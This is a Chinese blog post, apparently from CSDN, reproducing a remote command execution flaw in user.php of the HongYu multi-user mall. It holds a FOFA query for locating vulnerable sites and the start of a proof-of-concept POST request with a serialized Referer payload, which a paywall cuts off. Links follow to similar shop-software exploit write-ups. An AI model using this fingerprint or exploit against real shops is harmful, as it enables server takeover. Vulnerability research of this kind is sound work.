鸿宇多用户商城user.php RCE漏洞复现

墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 1.6k累计阅读 1.6k平均单平台已同步平台 CSDN 微信公众号微博知乎掘金百家号博客园抖音小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网我也要 → 码龄9年

关注

原创最新推荐文章于 2026-09-13 11:37:18 发布 1.6k 阅读 AI 写同款· GEO 优化 ›

漏洞复现v1 专栏收录该内容

¥9.90 ¥99.00

990篇文章

订阅专栏

超级会员免费看

0x01 产品简介

鸿宇多用户商城是一款支持各行业的多商家入驻型电商平台系统,商家版APP,微信商城,小程序及各种主流营销模块应有尽有,是一个功能强大的电子商务平台，旨在为企业和个人提供全面的在线购物解决方案。

0x02 漏洞概述

鸿宇多用户商城 user.php 存在任意命令执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。

0x03 复现环境

FOFA：body="content=HongYuJD" && body="68ecshopcom_360buy"

0x04 漏洞复现

PoC

POST /user.php HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/x-www-form-urlencoded
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:

了解本专栏

订阅专栏解锁全文

超级会员免费看

收录于

当前文章被以下社区和专栏收录：

标签

#安全 #web安全

渗透测试|shopXO后台全版本获取Shell复现 shopxo是一款开源的企业级商城系统，基于thinkphp5框架开发。这几天做了“[GKCTF2020]老八小超市儿”这道题，学到了后台获取shell的一个技巧，所以在这里复现一下。提供一个搜索语法：title=“ShopXO企业级B2C电商系统提供商”（不要干坏事哦）渗透测试复现页面来自buuctf——[GKCTF2020]老八小超市儿。ShopXO全版本getshell流程走起：进入题目（网上随便可以通过搜索找到一个使用shopxo搭建的演示站）别的漏洞没找到，尝试访问默认登陆后台，后台页阅读详情

相关推荐

[PHP代码审计]iWebShop开源商城系统V5.9.21010存在命令执行漏洞

@Y4tacker 文章目录写在前面iWebShop5.9存在命令执行漏洞目录结构漏洞演示及利用写在前面感兴趣的师傅可以去CTFSHOW复现 iWebShop5.9存在命令执行漏洞本漏洞是后台权限，配合sql注入导致的文件删除，之后导致可重装从而实现RCE 目录结构漏洞演示及利用该漏洞的利用比较巧妙，首先我们登录后台，点击添加商户功能这里添加一个y4tacker/y4tacker，记得开通功能，这里先备用接下来我们访问，用刚刚的商户账号登录即可 http://url/index.php?c

Y4tacker的博客 2967

Likeshop文件上传【CVE-2024-0352】

Likeshop HTTP POST 请求 File.php userFormImage 无限制上传漏洞。

maxiluo的博客 2009

phpshe v1.7漏洞复现(Sql injection+XXE)

PHPSHE v1.7 sql注入,XXE

weixin_51681694的博客 1231

漏洞挖掘|电子商城类漏洞挖掘案例灵感复现

当时该API还泄露了商家的身份证号的，我一激动直接去找平台客服了，然后当时他们就修了，后面漏洞就不认了，说是正常功能，泄露信息大概在几十万左右，泄露信息：个人姓名，身份证号，手机号，小区住址，邮箱等信息。这个是之前遇到的一个商城小程序漏洞，出现的支付漏洞，除了支付功能及接口在WEB站点没有，其它功能一样，除此之外，不同的是，小程序所有请求/响应包内容都被base64编码了。一般情况下小程序是我们在挖掘企业漏洞时，在搜集资产的一部分，很少有专门去挖掘小程序漏洞的，因为小程序漏洞并不是很多，普遍的如下。

Lucker_YYY的博客 1479

某商城系统 RCE漏洞复现

某商城系统的api/testOrderSubmit模块下的preview方法存在命令执行漏洞，攻击者可以向服务器写入木马文件，直接获取服务器权限

0xSec 2000

鸿宇多用户商城 scan_list.php SQL注入漏洞复现

鸿宇多用户商城 scan_list.php文件data['fahuo']参数存在SQL注入漏洞，攻击者除了可以利用SQL注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。

0xSec 734

管家婆订货易在线商城 VshopProcess 任意文件上传漏洞复现

管家婆订货易在线商城VshopProcess.aspx接口处存在任意文件上传漏洞，未经身份认证的攻击者可以通过该漏洞，上传恶意后门文件，深入利用可造成代码执行和服务器失陷。

0xSec 1566

Likeshop 单商户商城系统任意文件上传漏洞复现(CVE-2024-0352)

likeshop单商户标准商城系统/api/file/formImage接口存在任意文件上传漏洞，由于系统对用户上传的文件类型未作任何过滤和限制，未授权的攻击者可以通过此接口上传恶意后门文件获取服务器信息或权限。

0xSec 2285

9k9ym.com鸿宇小京东多用户通用商城源码V7.9.9.zip

9k9ym.com鸿宇小京东多用户通用商城源码V7.9.9

2018最新鸿宇小京东多用户B2B2C商城系统V7.9.9源码

68ecshop最新仿红星美凯龙模板免费宽屏版

ecshop最新仿红星美凯龙模板免费宽屏版，此模板包含utf-8和gbk两个版本。

2026年ERP选型实战：按规模分档，避开成本与实施陷阱

企业资源计划（ERP）是现代企业数字化转型的核心系统，它将财务、供应链、制造、人力等业务整合到统一平台。随着云计算和人工智能技术的发展，ERP已从传统本地部署的记录工具演变为SaaS订阅制、具备AI辅助决策能力的智能运营平台。不同规模企业在选型时的关注点差异巨大：小微企业追求轻量化和快速出报表，中型企业需要在流程标准化与业务灵活性间取得平衡，大型集团则注重多法人管控和数据治理。此外，制造、电商、工程等行业对ERP的模块要求也各有侧重，成本核算数据跑不通更是普遍痛点。如何结合企业规模与行业特征，制定合理的选型

weixin_34320724的博客 375

java对接海康实现页面实时播放和回放

前言：之前已经写过一篇关于视频的文章，因为觉得有很多优化的地方，也谢谢同行们加我微信跟我提了一些需求和意见，所以在过年的假期重新写了一个比较能扩张的版本。上一个版本的连接：https://blog.csdn.net/weixin_45848110/article/details/119363602 与之前的版本不同之处： 1.不需要安装ffmpeg 2.不需要安装nginx 3.直接运行jar即可 4.之前是完全脱离海康sdk，回放的录像是保存到本地服务，现在是直接在海康硬盘录像机获取录像回放 5.实时播

weixin_45848110的博客 1万+

Nvidia Driveos SDK/PDK介绍

NVIDIA DRIVEOS SDK/PDK介绍

u011803281的博客 2170

WIFI和BT测试（射频工程师）

买不了吃亏买不了上当，我卖的是技能，你收获的是经验。

m0_58834499的博客 592

基于STM32+华为云设计的智慧农业灌溉系统(2023升级版)(158)

本项目设计一种基于STM32的智慧农业监测系统。该系统能够检测空气温度、湿度、光强度和土壤湿度等关键指标，并自动调节浇水量，实现作物生长环境的精细化管理。同时，本项目还支持本地LCD屏幕数据显示和通过ESP8266上传数据到华为云物联网平台，同时搭建流媒体服务器实现摄像头远程监控。最重要的是，本项目将利用Qt开发Android手机APP，使用户可以远程查看监测情况，了解农作物生成情况。

1万+

YOLO11涨点优化：训练技巧 | 使用标签平滑（Label Smoothing）配合余弦退火学习率，防止过拟合，稳步提点

摘要： YOLO11凭借动态卷积核调度、自适应特征融合等创新成为2026年目标检测主流，但面临训练集过拟合问题。文章聚焦两种零推理开销的正则化技巧：标签平滑（Label Smoothing）和余弦退火学习率（Cosine Annealing LR）。标签平滑通过软化硬标签（如将[1,0]改为[0.9,0.1]）防止模型过度自信，代码中通过label_smoothing=0.1一键启用；余弦退火则以平滑的余弦曲线调整学习率（cos_lr=True），避免阶梯衰减的震荡。两者组合可显著缩小YOLO11训练与验证

2601_95807009的博客 41

从模糊到清晰：让AI教相机自动对焦的实战指南

AI自动对焦技术：让模糊照片成为过去式深度学习驱动的自动对焦技术正颠覆传统摄影，使相机能在复杂场景下智能锁定焦点。相比传统对焦方法在弱光、低对比度环境下的失效，AI通过学习"清晰-模糊"规律，实现全场景精准对焦。本文详细解析了该技术的三大优势：自适应各种光线条件；毫秒级对焦速度；突破物理限制的精度。通过PyTorch搭建的CNN模型，展示了从数据采集到模型训练的全流程实战方案，包括使用拉普拉斯算子评估图像清晰度等关键技术。该技术已成功应用于手机摄影、工业检测、无人机航拍和安防监

LXY_LOVE36的博客 340

【STM32实物】基于STM32的扫地机器人/小车控制系统设计

扫地机器人系统采用分层结构设计，主要包括底层硬件控制层、中间数据处理层和上层用户交互层。底层硬件控制层负责对各个硬件模块进行控制和数据采集，中间数据处理层负责对采集到的数据进行处理和解算，上层用户交互层负责与用户进行交互并显示系统状态信息。

嵌入式阿齐Archie 1万+

假人有限元模型

假人模型，车辆碰撞假人有限元模型，适合做乘员安全的研究者利用

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用，资源的后缀为tar.gz格式的压缩包

数学建模模型总结

这是本人在两年内准备参加数学建模竞赛搜集到的模型资料，已经经过了本人的筛选和整理，希望能够对准备参加数学建模竞赛的学弟学妹们提供一些帮助！

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android：LinePhone3.2.7(最新版本)，官网地址：http://www.linphone.org/